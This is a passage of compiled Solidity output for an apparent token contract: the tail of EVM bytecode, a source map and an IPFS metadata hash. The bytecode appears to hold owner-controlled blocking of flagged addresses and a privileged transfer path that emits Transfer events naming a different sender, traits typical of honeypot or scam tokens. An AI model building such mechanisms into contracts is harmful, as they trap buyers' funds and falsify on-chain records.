fffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d5b57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610db157600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eae57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600781905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb957600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600480546110219061177b565b80601f016020809104026020016040519081016040528092919081815260200182805461104d9061177b565b801561109a5780601f1061106f5761010080835404028352916020019161109a565b820191906000526020600020905b81548152906001019060200180831161107d57829003601f168201915b505050505081565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361127e57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561114457600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461119291906117db565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111e7919061180f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161126d919061163a565b60405180910390a36001905061143f565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112e0576001600754146112df57600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561132b57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461137991906117db565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113ce919061180f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611432919061163a565b60405180910390a3600190505b92915050565b600b602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b838110156114a4578082015181840152602081019050611489565b60008484015250505050565b6000601f19601f8301169050919050565b60006114cc8261146a565b6114d68185611475565b93506114e6818560208601611486565b6114ef816114b0565b840191505092915050565b6000602082019050818103600083015261151481846114c1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061154c82611521565b9050919050565b61155c81611541565b811461156757600080fd5b50565b60008135905061157981611553565b92915050565b6000819050919050565b6115928161157f565b811461159d57600080fd5b50565b6000813590506115af81611589565b92915050565b600080604083850312156115cc576115cb61151c565b5b60006115da8582860161156a565b92505060206115eb858286016115a0565b9150509250929050565b60008115159050919050565b61160a816115f5565b82525050565b60006020820190506116256000830184611601565b92915050565b6116348161157f565b82525050565b600060208201905061164f600083018461162b565b92915050565b60006020828403121561166b5761166a61151c565b5b60006116798482850161156a565b91505092915050565b60008060006060848603121561169b5761169a61151c565b5b60006116a98682870161156a565b93505060206116ba8682870161156a565b92505060406116cb868287016115a0565b9150509250925092565b600060ff82169050919050565b6116eb816116d5565b82525050565b600060208201905061170660008301846116e2565b92915050565b600080604083850312156117235761172261151c565b5b60006117318582860161156a565b92505060206117428582860161156a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179357607f821691505b6020821081036117a6576117a561174c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117e68261157f565b91506117f18361157f565b9250828203905081811115611809576118086117ac565b5b92915050565b600061181a8261157f565b91506118258361157f565b925082820190508082111561183d5761183c6117ac565b5b9291505056fea2646970667358221220304d3df33f57efaaf935228fe1b42921599679b0a79b9c65458d7943f3db5ab064736f6c63430008110033

2211:3446:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2371:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4506:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2484:67;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4155:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4967:689;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2451:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2239:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4722:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3157:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4857:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4045:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3012:135;;;:::i;:::-;;3925:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2409:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3364:549;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4429:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2371:31;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4506:211::-;4571:12;4633:5;4600:9;:21;4610:10;4600:21;;;;;;;;;;;;;;;:30;4622:7;4600:30;;;;;;;;;;;;;;;:38;;;;4677:7;4656:36;;4665:10;4656:36;;;4686:5;4656:36;;;;;;:::i;:::-;;;;;;;;4710:4;4703:11;;4506:211;;;;:::o;2484:67::-;;;;:::o;4155:105::-;4298:3;:15;4302:10;4298:15;;;;;;;;;;;;;;;;;;;;;;;;;4290:24;;;;;;4223:4:::1;:8;4228:2;4223:8;;;;;;;;;;;;;;;;;;;;;;;;;4222:9;4214:18;;;::::0;::::1;;4254:4;4243::::0;:8:::1;4248:2;4243:8;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;;;;;;;4155:105:::0;:::o;4967:689::-;5046:12;5085:6;;;;;;;;;;;5077:14;;:4;:14;;;5074:247;;5122:4;:10;5127:4;5122:10;;;;;;;;;;;;;;;;5113:5;:19;;5105:28;;;;;;5161:9;:15;5171:4;5161:15;;;;;;;;;;;;;;;:27;5177:10;5161:27;;;;;;;;;;;;;;;;5152:5;:36;;5144:45;;;;;;5214:5;5200:4;:10;5205:4;5200:10;;;;;;;;;;;;;;;;:19;;;;;;;:::i;:::-;;;;;;;;5244:5;5232:4;:8;5237:2;5232:8;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;5286:2;5266:30;;5276:8;;;;;;;;;;;5266:30;;;5290:5;5266:30;;;;;;:::i;:::-;;;;;;;;5314:4;5307:11;;;;5074:247;5338:4;:10;5343:4;5338:10;;;;;;;;;;;;;;;;;;;;;;;;;:22;;;;5352:4;:8;5357:2;5352:8;;;;;;;;;;;;;;;;;;;;;;;;;5338:22;5335:56;;;5387:1;5381:2;;:7;5373:16;;;;;;5335:56;5418:4;:10;5423:4;5418:10;;;;;;;;;;;;;;;;5409:5;:19;;5401:28;;;;;;5457:9;:15;5467:4;5457:15;;;;;;;;;;;;;;;:27;5473:10;5457:27;;;;;;;;;;;;;;;;5448:5;:36;;5440:45;;;;;;5510:5;5496:4;:10;5501:4;5496:10;;;;;;;;;;;;;;;;:19;;;;;;;:::i;:::-;;;;;;;;5538:5;5526:4;:8;5531:2;5526:8;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;5585:5;5554:9;:15;5564:4;5554:15;;;;;;;;;;;;;;;:27;5570:10;5554:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;5621:2;5606:25;;5615:4;5606:25;;;5625:5;5606:25;;;;;;:::i;:::-;;;;;;;;5649:4;5642:11;;4967:689;;;;;;:::o;2451:26::-;;;;;;;;;;;;;:::o;2239:40::-;;;;;;;;;;;;;;;;;:::o;4722:125::-;4784:12;4298:3;:15;4302:10;4298:15;;;;;;;;;;;;;;;;;;;;;;;;;4290:24;;;;;;4820:2:::1;4809:4;:8:::0;4814:2:::1;4809:8;;;;;;;;;;;;;;;:13;;;;4840:4;4833:11;;4722:125:::0;;;;:::o;3157:143::-;3242:5;;;;;;;;;;;3228:19;;:10;:19;;;3220:28;;;;;;3281:7;3260:37;;3277:1;3260:37;;;3290:6;3260:37;;;;;;:::i;:::-;;;;;;;;3157:143;;:::o;4857:94::-;4298:3;:15;4302:10;4298:15;;;;;;;;;;;;;;;;;;;;;;;;;4290:24;;;;;;4912:4:::1;:8;4917:2;4912:8;;;;;;;;;;;;;;;;;;;;;;;;;4904:17;;;::::0;::::1;;4943:5;4932:4;:8;4937:2;4932:8;;;;;;;;;;;;;;;;:16;;;;;;;;;;;;;;;;;;4857:94:::0;:::o;4045:100::-;4102:7;4129:4;:13;4134:7;4129:13;;;;;;;;;;;;;;;;4122:20;;4045:100;;;:::o;3012:135::-;3077:5;;;;;;;;;;;3063:19;;:10;:19;;;3055:28;;;;;;3114:5;;;;;;;;;;;3095:25;;;;;;;;;;;;3143:1;3127:5;;:18;;;;;;;;;;;;;;;;;;3012:135::o;3925:105::-;3337:1;3332:2;:6;;;;3997:5:::1;;;;;;;;;;;3983:19;;:10;:19;;;3975:28;;;::::0;::::1;;4024:4;4014:3;:7;4018:2;4014:7;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;;;;;;;3925:105:::0;:::o;2409:35::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3364:549::-;3425:12;3467:6;;;;;;;;;;;3453:20;;:10;:20;;;3450:209;;3515:5;3495:4;:16;3500:10;3495:16;;;;;;;;;;;;;;;;:25;;3487:34;;;;;;3552:5;3532:4;:16;3537:10;3532:16;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3582:5;3570:4;:8;3575:2;3570:8;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;3624:2;3604:30;;3614:8;;;;;;;;;;;3604:30;;;3628:5;3604:30;;;;;;:::i;:::-;;;;;;;;3652:4;3645:11;;;;3450:209;3673:4;:16;3678:10;3673:16;;;;;;;;;;;;;;;;;;;;;;;;;3670:50;;;3716:1;3710:2;;:7;3702:16;;;;;;3670:50;3759:5;3739:4;:16;3744:10;3739:16;;;;;;;;;;;;;;;;:25;;3731:34;;;;;;3796:5;3776:4;:16;3781:10;3776:16;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3826:5;3814:4;:8;3819:2;3814:8;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;3878:2;3857:31;;3866:10;3857:31;;;3882:5;3857:31;;;;;;:::i;:::-;;;;;;;;3906:4;3899:11;;3364:549;;;;;:::o;4429:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:329::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:119;;;3912:79;;:::i;:::-;3874:119;4032:1;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4003:117;3798:329;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:180::-;5716:77;5713:1;5706:88;5813:4;5810:1;5803:15;5837:4;5834:1;5827:15;5854:320;5898:6;5935:1;5929:4;5925:12;5915:22;;5982:1;5976:4;5972:12;6003:18;5993:81;;6059:4;6051:6;6047:17;6037:27;;5993:81;6121:2;6113:6;6110:14;6090:18;6087:38;6084:84;;6140:18;;:::i;:::-;6084:84;5905:269;5854:320;;;:::o;6180:180::-;6228:77;6225:1;6218:88;6325:4;6322:1;6315:15;6349:4;6346:1;6339:15;6366:194;6406:4;6426:20;6444:1;6426:20;:::i;:::-;6421:25;;6460:20;6478:1;6460:20;:::i;:::-;6455:25;;6504:1;6501;6497:9;6489:17;;6528:1;6522:4;6519:11;6516:37;;;6533:18;;:::i;:::-;6516:37;6366:194;;;;:::o;6566:191::-;6606:3;6625:20;6643:1;6625:20;:::i;:::-;6620:25;;6659:20;6677:1;6659:20;:::i;:::-;6654:25;;6702:1;6699;6695:9;6688:16;;6723:3;6720:1;6717:10;6714:36;;;6730:18;;:::i;:::-;6714:36;6566:191;;;;:::o

ipfs://304d3df33f57efaaf935228fe1b42921599679b0a79b9c65458d7943f3db5ab0